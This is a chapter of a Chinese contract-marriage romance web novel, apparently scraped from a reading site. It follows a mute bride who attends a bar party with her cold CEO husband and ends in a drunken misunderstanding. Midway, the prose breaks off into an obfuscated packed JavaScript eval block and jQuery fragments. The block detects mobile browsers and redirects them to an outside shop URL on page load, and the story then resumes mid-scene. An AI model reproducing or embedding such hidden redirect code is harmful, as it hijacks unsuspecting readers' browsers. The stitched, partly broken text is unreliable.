3. 第3章
作品:《小哑巴不喜欢我[先婚后爱]》 诸愿趴在床上,下巴抵着从商圈带回的企鹅布偶,指尖攥着手机沁出薄汗,瞪圆的眼睛死死盯着屏幕。
当对话框里跳出“对方通过了你的朋友验证”的系统提示时,指腹像被烫到般轻颤了一下。
昨夜从顾识弈卧室慌乱逃离后,她才惊觉忘了拿手绳。
今早拜托静姨打扫时带出来,得到的回复却是“床底根本没有手绳”。
她飞快输入“你拿了我的手绳吗?”刚要发送又猛地删掉,这话听着像是怀疑顾识弈故意拿走了她的手绳。
改成“你捡到我的手绳了吗?”好像又太过刻意?
她咬着唇思索片刻,重新编辑:“你有没有在哪里看到过我的手绳呀?红色编绳,上面串着金色小铃铛的。”
正满意地准备发送,对话框却先弹出新消息。
顾识弈:【找我什么事?】
诸愿几乎能想象手机那头男人的表情——那双总是结着冰的眼睛,此刻定是写着“我一分钟能谈千万项目,找我最好有紧急事”。
她抖了抖身子,低头瞅着编辑框里面的文字。还是等顾识弈晚上下班回家了再说吧。
正远集团六十六层总裁办公室,顾识弈指尖在键盘上落下最后一个字符。
落地窗外,鳞次栉比的摩天楼群林立,章司年坐在办公桌对面的真皮沙发上,晃着高脚杯里的红色酒液轻笑。
“万年铁树开花,你这闪婚速度够惊人啊,你家老爷子知道了不得跳脚?”
“不过说真的,那姑娘长得如何?带过来让我瞧瞧呗?”
顾识弈的视线始终未离电脑屏幕,对话框昵称上显示“对方正在输入”。
发小的问题在耳边萦绕,脑海里不受控制地浮现少女的模样——每次碰面都如临大敌,脊背绷得笔直,手指蜷缩着,连眼尾都透着警惕。
偏偏心思像摊开的白纸,所有情绪都明明白白地写在脸上……
微信提示音适时响起,他掀眸。
诸愿:【没事。】
三秒后,对话框里又跳出“愉快”和“玫瑰”的emoji。
他盯着那两个小表情看了三秒,从鼻腔里溢出一声几不可闻的轻嗤。
他以为诸愿主动加好友必有缘由,毕竟少女怕他怕得如同躲避洪水猛兽,破天荒地他在对话框里敲下“找我什么事?”,却没想到回复是“没事”。
章司年还在沙发上喋喋不休追问诸愿的容貌,他抬眼:“你开周年庆的地址发一份给我的秘书。”
“嗯?你不是向来不参加这种活动的吗!”章司年震惊。
顾识弈没接话。
他娶诸愿的事确实让老爷子大发雷霆,甚至企图干预公司决策逼他离婚,昨晚的电话正是因此。
但他并不准备收手,还打算闹得满城皆知。
徬晚,诸愿在家没等来顾识弈,却等到了林秘书的信息。
林秘书:【太太,顾总今晚参加朋友开业周年庆派对,请您在六点前做好准备,我会准时来接您。】
她赶忙打字询问:【好,请问有着装要求吗?】
过了一会儿,那边回复:【顾总说,按您平时穿着就行。】
诸愿松了口气。
她虽是诸家大小姐,但因为哑巴,父亲觉得她拿不出手,每次家庭聚餐和宴会,她都只能待在房间,也不用出门上学,自然省了昂贵衣服首饰的开销。
她带来的都是普通衣裙,若有着装要求,还得现买。
幸好不用,不过以后说不定需要,下次还是找个时间去添置些新衣服吧。
五点五十分,诸愿已经准备妥当,出门等候,没想到林秘书也提前到了。
两人上次见面后熟悉了不少,加之林秘书常需转达顾识弈的话,言语多有照顾,诸愿面对他不自觉放松许多。
她微笑着挥手走过去,见是林秘书开车,便想去副驾驶坐,谁知车门竟拉不开。
车内,林秘书尬尴地笑道:“太太,不好意思,我开车不习惯副驾有人,容易分心,您坐后面好吗?”
诸愿并未多想,只当他真有这个毛病,怜悯地看了一眼,便去拉后座车门,
这一拉,赫然看见一天未见的顾识弈坐在里面。
他身着熨帖西装,双腿交叠倚背而坐,优雅中透着慵懒。
昨晚男人冷肃的面庞浮现眼前,她腿一软,转头看向林秘书,后者头压得极低。
诸愿这才明白,根本没有什么副驾不能坐人的毛病,不过是怕顾识弈生气罢了。
这下,她开始怜悯起自己了。
诸愿扶着车门怂兮兮地爬进后座,往角落缩了缩,又想起是不是该跟顾识弈打个招呼,侧头,男人却阖上了眼睫,留给她一个棱角分明的侧脸。
还等着进一步询问手绳的诸愿:“……”
她庆幸又无奈地将手机放回包里,决定等周年庆结束后再问。
下车后,诸愿望着门上“璟年”的招牌,霓虹灯闪烁下,透着八九十年代的金色土豪会所风格,装饰品极尽奢靡却与当下审美格格不入。
虽位于商业街中心,却比旁边门店冷落许多。
她偷偷瞥向顾识弈,原以为他朋友开得都是高级餐厅或山庄,没想到会是酒吧。
顾识弈推门而入,震耳欲聋的音浪声扑面而来,诸愿瞪大眼睛,刚刚还觉得门口冷清,没想到里面竟如此热闹。
或许是察觉到她的退缩,顾识弈保持着开门的姿势,回头对她说:“跟紧我。”
诸愿怕添麻烦,赶紧用力地点头表示明白,跟上步伐。
卡座里,众人听闻章司年说顾识弈会带新婚妻子来,纷纷惊掉下巴。
有人问:“不是说是联姻没感情吗?怎么直接带来了?联姻变真爱?”
“联姻是兰家小姐,不过这事吹了,换成了真爱诸小姐。”
“说实话,听到顾总已经结婚时我人都傻了,以前多少豪门想攀附顾家,送上门的千金数不胜数,怎么突然就结婚了,还说是真爱,一点风声都没有。”那人摇摇头,一副百思不得其解的模样。
“就没人好奇这诸家是谁吗?我听都没听说过。”这话一落,立即有人附和,“当然好奇!究竟是谁家姑娘,迷得咱们顾总为爱下凡!”
有人举手说道:“这诸家我倒是知道,虽比不上在座各位的家世底蕴,但也算得上是豪门,特别是诸家大少爷接诸老爷子手后,更是蒸蒸日上,不过三年前诸大少爷遭遇车祸,诸家在现任家主手里,便开始走下坡路了。”
旁边人摆摆手:“我对诸家大少爷不感兴趣,有没有诸家小姐的信息?”
另一个人摇摇头:“我人脉算广了吧,但要不是顾、诸两家结成亲家,我都不知道诸家还有女儿,从来没听说过。”
“嚯,这么神秘?这诸家小姐难不成是神人啊!”
“或许,”其中一人插话进来,“是一直在国外生活吧,所以国内了解的人不多。”
“说得也是,顾总事业心那么重,喜欢的肯定是和他势均力敌能并肩作战的职场女性,留学归来学富五车很有可能!”
“就是就是,就说刚才提到的兰家,谁人不知这兰大小姐有多优秀,简直是才貌双绝,连顾老爷子都同意了,可顾总说拒绝就拒绝,想必娶回来的这位肯定是比兰家大小姐更优秀的人中龙凤!”
话音刚落,便听有人喊了一声“顾总来了。”众人目光整齐划一地看向门口。
只见顾识弈从外走来,身旁站着个齐肩高的女生。
那女生似对周围环境既好奇又害怕,整个人怯生生的。
而一直被人戏称不近女色的顾识弈,竟明显在护着她,虽未牵手,但侧着的身子、刻意放慢的脚步,无一不在保护着与众人想象中“势均力敌”形象大相径庭的“小白兔”小姐。
众人再次震惊,整个酒吧徒然安静下来。
诸愿紧贴着顾识弈,昨日让她害怕的高大身影,此刻却带来安全感。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16620604|187864||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
她观察着酒吧环境:五颜六色不断闪烁的灯光、身穿制服的调酒小哥、打扮潮流的人群……奇怪的是,刚刚还热闹非凡的酒吧,此刻却像被按了静音键,落针可闻。
她狐疑地望去人群中心的卡座,这时有个青年站了起来,熟稔地上来打招呼。
“顾哥来了,这是嫂子吧?”
顾识弈颔首介绍她,“诸愿。”
诸愿还没反应过来,对方就喊道:“嫂子您好,我是章司年,是识弈从小一起长大的发小。”
见对方笑容灿烂,不像以往的人直接忽略掉她,诸愿心里有些感动,也笑着伸手和他相握。
章司年微微愣住。
少女身着纯白长裙,乌黑长发披肩,精致的面容带着浅笑,害羞又认真地与他握手,关键气质纯真可人,跟酒吧里的其他人截然不同。
众人看到这也愣了一下,本来还觉得少女明显懦弱的性格和顾总裁气场完全不搭,此刻却觉得“小白兔”又怎么样,这多让人有保护欲啊。
萝卜青菜各有所爱,铁血手腕的顾总或许就喜欢这样的傻白甜。
顾识弈适时开口:“不是开业周年庆?还没开始?”
人齐了,章司年立即喊人开场。
侍者上新一轮酒,等酒吧音乐一响,霓虹灯交错,众人便沉寂在庆祝的狂欢里。
诸愿坐在卡座里,顾识弈用背脊形成一个弧替她挡住了众人的打量。
有人试探性地调侃了一句“果然是新婚夫妇哈,蜜里调油”。顾识弈竟然也不恼,神情平和地坐着。
诸愿向来敏感,从协议,再结合大家的反应,大概猜到了顾识弈在筹谋什么。
顾识弈挨得她极近,能嗅到他领间清列的松木香,但诸愿再不会像上次那样产生任何旖旎想法。
她身板挺直,满脑子只剩下“第一次演顾太太,万一没配合好顾识弈演砸了该怎么办”的想法中。
就在这时,一杯冰橙汁塞进她手里,诸愿惊得抬眼,顾识弈却先一步别开脸。
诸愿虽然狐疑,但正巧渴了,便抬起杯子喝了一小口,冰凉酸甜的味道在口腔漫开,慢慢的竟然缓解了她的紧张。
派对高潮时,顾识弈收到章司年的消息:今晚他带人来的事已经散播出去了。便毫不犹豫地起身带诸愿离开。
众人见了却不敢挽留,这位会出席今晚的活动本就稀奇,觉得没意思直接走也是合情合理,反而纷纷恭敬地起立送别。
回到万宜大院,因为主人今晚都不在家吃饭,便放了静姨假回家,因此房子留了灯却静悄悄的。
二楼分别时,顾识弈顿住脚步:“今晚表现很好,想要什么奖励?”
话落,袖口一沉。
他低垂眼,少女纤细的双手抓住了他的手腕。顾识弈微蹙眉,撩起眼皮,却见诸愿眼神迷蒙、脸颊酡红,分明是喝醉了酒的模样。
是谁趁他不注意灌得酒?
他一时拿捏不准诸愿醉到了什么地步,人不会说话,也不好问。
正打算打电话叫静姨回来,诸愿拉着他袖子的手晃了晃。
顾识弈凝眸落在两人手上,眼底划过一抹诧异。平时怕他避他的诸愿,现在竟然胆大到敢拽他的袖子了。
他突然好奇,少女酒后还能干出什么更“大胆”的事。
他任由少女将自己拉进一个陌生的房间里,直到被推坐在柔软的粉色床榻上,才后知后觉这是静姨给少女新换得卧室。
静姨没亏待少女,这里南北通透,配套应有尽有,是极好的房间。
只是,他看着少女躬身拉开抽屉的背影,瞥见里面露出的避孕套包装盒,黑色瞳孔骤然沉下。
原来那副瑟瑟发抖怕他的模样都是精心设计的伪装。
顾识弈的目光冷冽,指腹慢条斯理地抚平袖口上被少女攥出的褶皱。
他没有因为被欺骗而恼怒,更多的是在冷静思量该如何最大限度地降低损失,结束这场预判错误的婚姻。

